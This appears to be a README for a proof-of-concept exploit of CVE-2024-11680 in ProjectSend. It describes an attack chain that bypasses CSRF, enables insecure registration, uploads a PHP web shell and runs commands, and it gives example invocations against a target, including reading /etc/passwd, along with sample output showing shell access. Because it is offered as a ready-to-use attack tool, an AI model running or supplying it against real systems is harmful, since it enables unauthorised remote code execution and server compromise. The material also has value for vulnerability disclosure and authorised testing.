ProjectSend CVE-2024-11680 Exploit

This is a proof-of-concept exploit for CVE-2024-11680, an unauthenticated configuration modification and web shell upload vulnerability in ProjectSend.

Description

The exploit takes advantage of multiple vulnerabilities in ProjectSend:

• CSRF token bypass allowing configuration changes
• Insecure client registration settings
• Unrestricted file upload leading to remote code execution

Requirements

• Python 3.x
• Required Python packages:
  root@kitploit:~

  pip install requests colorama
  

Usage

python3 exploit.py -u <TARGET_URL> -c <COMMAND>

Arguments

• -u, --url: Target URL (e.g., http://target.com/projectsend)
• -c, --command: Command to execute on the target (default: id)

Examples

# Get Python version
python3 exploit.py -u http://target.com/projectsend -c "python3 -V"

# List directory contents
python3 exploit.py -u http://target.com/projectsend -c "ls -la"

# Get system information
python3 exploit.py -u http://target.com/projectsend -c "uname -a"

# Read passwd file
python3 exploit.py -u http://target.com/projectsend -c "cat /etc/passwd"

How it works

1. Reconnaissance: Fetches CSRF token and verifies target vulnerability
2. Configuration Manipulation: Enables insecure client registration options
3. User Registration: Creates a new client account with auto-approval
4. File Upload: Uploads a PHP web shell with .phtml extension
5. Command Execution: Executes specified commands through the uploaded shell

Features

• Automatic CSRF token extraction
• Random user credentials generation
• Smart file naming and timestamp detection
• Colored output for better visibility
• Built-in command execution capability

Legal Notice

This tool is for educational purposes only. Use it responsibly and only on systems you have explicit permission to test.

References

• CVE-2024-11680

Example Output

[+] Target is vulnerable
[+] Insecure options enabled
[+] User registered successfully.
[+] New username: NoDLQWYF
[+] New password: X02A3g9LuN4S
[+] File uploaded: kLoISqdA.phtml
[+] File accessible at: http://target.com/projectsend/upload/files/1774958997-3b58e110c289baddfd8a6d1d5f34d96e77009fdc-kLoISqdA.phtml
[+] Command Output:
Python 3.9.2